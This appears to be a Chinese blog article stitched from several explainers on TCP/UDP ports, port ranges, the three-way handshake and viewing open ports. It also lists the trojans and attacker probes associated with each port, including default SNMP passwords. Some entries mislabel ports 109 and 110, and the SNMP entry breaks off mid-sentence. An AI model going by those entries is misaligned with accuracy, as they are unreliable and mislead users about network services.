计算机“端口”是英文port的义译,可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口,如:USB端口、串行端口等。软件领域的端口一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。

按端口号可分为3大类:

(1)公认端口(Well Known Ports):从0到1023,它们紧密绑定(binding)于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。

(2)注册端口(Registered Ports):从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从1024左右开始。

(3)动态和/或私有端口(Dynamic and/or Private Ports):从49152到65535。理论上,不应为服务分配这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从32768开始。

一些端口常常会被黑客利用,还会被一些木马病毒利用,对计算机系统进行攻击,以下是计算机端口的介绍以及防止被黑客攻击的简要办法。

8080端口

端口说明:8080端口同80端口,是被用于WWW代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上“:8080”端口号,比如。

端口漏洞:8080端口可以被各种病毒程序所利用,比如Brown Orifice(BrO)特洛伊木马病毒可以利用8080端口完全遥控被感染的计算机。另外,RemoConChubo,RingZero木马也可以利用该端口进行攻击。

操作建议:一般我们是使用80端口进行网页浏览的,为了避免病毒的攻击,我们可以关闭该端口。

端口:21

服务:FTP

说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。

端口:22

服务:Ssh

说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。

端口:23

服务:Telnet

说明:远程登录,入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术,入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。

端口:25

服务:SMTP

说明:SMTP服务器所开放的端口,用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭,他们需要连接到高带宽的E-MAIL服务器上,将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。

端口:80

服务:HTTP

说明:用于网页浏览。木马Executor开放此端口。

端口:102

服务:Message transfer agent(MTA)-X.400 over TCP/IP

说明:消息传输代理。

端口:109

服务:Post Office Protocol -Version3

说明:POP3服务器开放此端口,用于接收邮件,客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个,这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。

端口:110

服务:SUN公司的RPC服务所有端口

说明:常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等

端口:119

服务:Network News Transfer Protocol

说明:NEWS新闻组传输协议,承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制,只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送SPAM。

端口:135

服务:Location Service

说明:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗?什么版本?还有些DOS攻击直接针对这个端口。

端口:137、138、139

服务:NETBIOS Name Service

说明:其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。

端口:161

服务:SNMP

说明:SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中,通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络

什么是端口?

在开始讲什么是端口之前,我们先来聊一聊什么是 port 呢?常常在网络上听说『我的主机开了多少的 port ,会不会被入侵呀!?』或者是说『开那个 port 会比较安全?又,我的服务应该对应什么 port 呀!?』呵呵!很神奇吧!怎么一部主机上面有这么多的奇怪的 port 呢?这个 port 有什么作用呢?!

由于每种网络的服务功能都不相同,因此有必要将不同的封包送给不同的服务来处理,所以啰,当你的主机同时开启了 FTP 与 WWW 服务的时候,那么别人送来的资料封包,就会依照 TCP 上面的 port 号码来给 FTP 这个服务或者是 WWW 这个服务来处理,当然就不会搞乱啰!(注:嘿嘿!有些很少接触到网络的朋友,常常会问说:『咦!为什么你的计算机同时有 FTP、WWW、E-Mail 这么多服务,但是人家传资料过来,你的计算机怎么知道如何判断?计算机真的都不会误判吗?!』现在知道为什么了吗?!对啦!就是因为 port 不同嘛!你可以这样想啦,有一天,你要去银行存钱,那个银行就可以想成是『主机』,然后,银行当然不可能只有一种业务,里头就有相当多的窗口,那么你一进大门的时候,在门口的服务人员就会问你说:『嗨!你好呀!你要做些什么事?』你跟他说:『我要存钱呀!』,服务员接着就会告诉你:『喝!那么请前往三号窗口!那边的人员会帮您服务!』这个时候你总该不会往其它的窗口跑吧?! ""这些窗口就可以想成是『 port 』啰!所以啦!每一种服务都有特定的 port 在监听!您无须担心计算机会误判的问题呦!)

· 每一个 TCP 联机都必须由一端(通常为 client )发起请求这个 port 通常是随机选择大于 1024 以上的 port 号来进行!其 TCP 封包会将(且只将) SYN 旗标设定起来!这是整个联机的第一个封包;

· 如果另一端(通常为 Server ) 接受这个请求的话(当然啰,特殊的服务需要以特殊的 port 来进行,例如 FTP 的 port 21 ),则会向请求端送回整个联机的第二个封包!其上除了 SYN 旗标之外同时还将 ACK 旗标也设定起来,并同时时在本机端建立资源以待联机之需;

· 然后,请求端获得服务端第一个响应封包之后,必须再响应对方一个确认封包,此时封包只带 ACK 旗标(事实上,后继联机中的所有封包都必须带有 ACK 旗标);

· 只有当服务端收到请求端的确认( ACK )封包(也就是整个联机的第三个封包)之后,两端的联机才能正式建立。这就是所谓的 TCP 联机的'三段式交握( Three-Way Handshake )'的原理。

经过三向交握之后,呵呵!你的 client 端的 port 通常是高于 1024 的随机取得的 port 至于主机端则视当时的服务是开启哪一个 port 而定,例如 WWW 选择 80 而 FTP 则以 21 为正常的联机信道!

总而言之,我们这里所说的端口,不是计算机硬件的I/O端口,而是软件形式上的概念.工具提供服务类型的不同,端口分为两种,一种是TCP端口,一种是UDP端口。计算机之间相互通信的时候,分为两种方式:一种是发送信息以后,可以确认信息是否到达,也就是有应答的方式,这种方式大多采用TCP协议;一种是发送以后就不管了,不去确认信息是否到达,这种方式大多采用UDP协议。对应这两种协议的服务提供的端口,也就分为TCP端口和UDP端口。

那么,如果攻击者使用软件扫描目标计算机,得到目标计算机打开的端口,也就了解了目标计算机提供了那些服务。我们都知道,提供服务就一定有服务软件的漏洞,根据这些,攻击者可以达到对目标计算机的初步了解。如果计算机的端口打开太多,而管理者不知道,那么,有两种情况:一种是提供了服务而管理者没有注意,比如安装IIS的时候,软件就会自动增加很多服务,而管理员可能没有注意到;一种是服务器被攻击者安装木马,通过特殊的端口进行通信。这两种情况都是很危险的,说到底,就是管理员不了解服务器提供的服务,减小了系统安全系数。

//////////////////////////////////////////////////////////////////////////////////

什么是“端口”?

在网络技术中,端口(Port)有好几种意思。集线器、交换机、路由 器的端口指的是连接其他网络设备的接口,如RJ-45端口、Serial端口等。我们 这里所指的端口不是指物理意义上的端口,而是特指TCP/IP协议中的端口,是逻 辑意义上的端口。

那么TCP/IP协议中的端口指的是什么呢?如果把IP地址比作一间房子 ,端口就是出入这间房子的门。真正的房子只有几个门,但是一个IP地址的端口 可以有65536个之多!端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。

端口有什么用呢?我们知道,一台拥有IP地址的主机可以提供许多服 务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来 实现。那么,主机是怎样区分不同的网络服务呢?显然不能只靠IP地址,因为IP 地址与网络服务的关系是一对多的关系。实际上是通过“IP地址+端口号”来区 分不同的服务的。

需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访 问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则 可能使用“3457”这样的端口,如图1所示。

按对应的协议类型,端口有两种:TCP端口和UDP端口。由于TCP和UDP 两个协议是独立的,因此各自的端口号也相互独立,比如TCP有235端口,UDP也 可以有235端口,两者并不冲突。

1.周知端口(Well Known Ports)

周知端口是众所周知的端口号,范围从0到1023,其中80端口分配给W WW服务,21端口分配给FTP服务等。我们在IE的地址栏里输入一个网址的时候( 比如)是不必指定端口号的,因为在默认情况下WWW服务的端口 号是“80”。

网络服务是可以使用其他端口号的,如果不是默认的端口号则应该在 地址栏上指定端口号,方法是在地址后面加上冒号“:”(半角),再加上端口 号。比如使用“8080”作为WWW服务的端口,则需要在地址栏里输入“”。

但是有些系统协议使用固定的端口号,它是不能被改变的,比如139 端口专门用于NetBIOS与TCP/IP之间的通信,不能手动改变。

2.动态端口(Dynamic Ports)

动态端口的范围是从1024到65535。之所以称为动态端口,是因为它 一般不固定分配某种服务,而是动态分配。动态分配是指当一个系统进程或应用 程序进程需要网络通信时,它向主机申请一个端口,主机从可用的端口号中分配 一个供它使用。当这个进程关闭时,同时也就释放了所占用的端口号。

怎样查看端口

一台服务器有大量的端口在使用,怎么来查看端口呢?有两种方式: 一种是利用系统内置的命令,一种是利用第三方端口扫描软件。

1.用“netstat -an”查看端口状态

在Windows 2000/XP中,可以在命令提示符下使用“netstat -an”查 看系统端口状态,可以列出系统正在开放的端口号及其状态.

2.用第三方端口扫描软件

第三方端口扫描软件有许多,界面虽然千差万别,但是功能却是类似 的。这里以“Fport” (可到或下载)为例讲解。“Fport”在命令提示符下使用,运行结果 与“netstat -an”相似,但是它不仅能够列出正在使用的端口号及类型,还可 以列出端口被哪个应用程序使用.

0条大神的评论

发表评论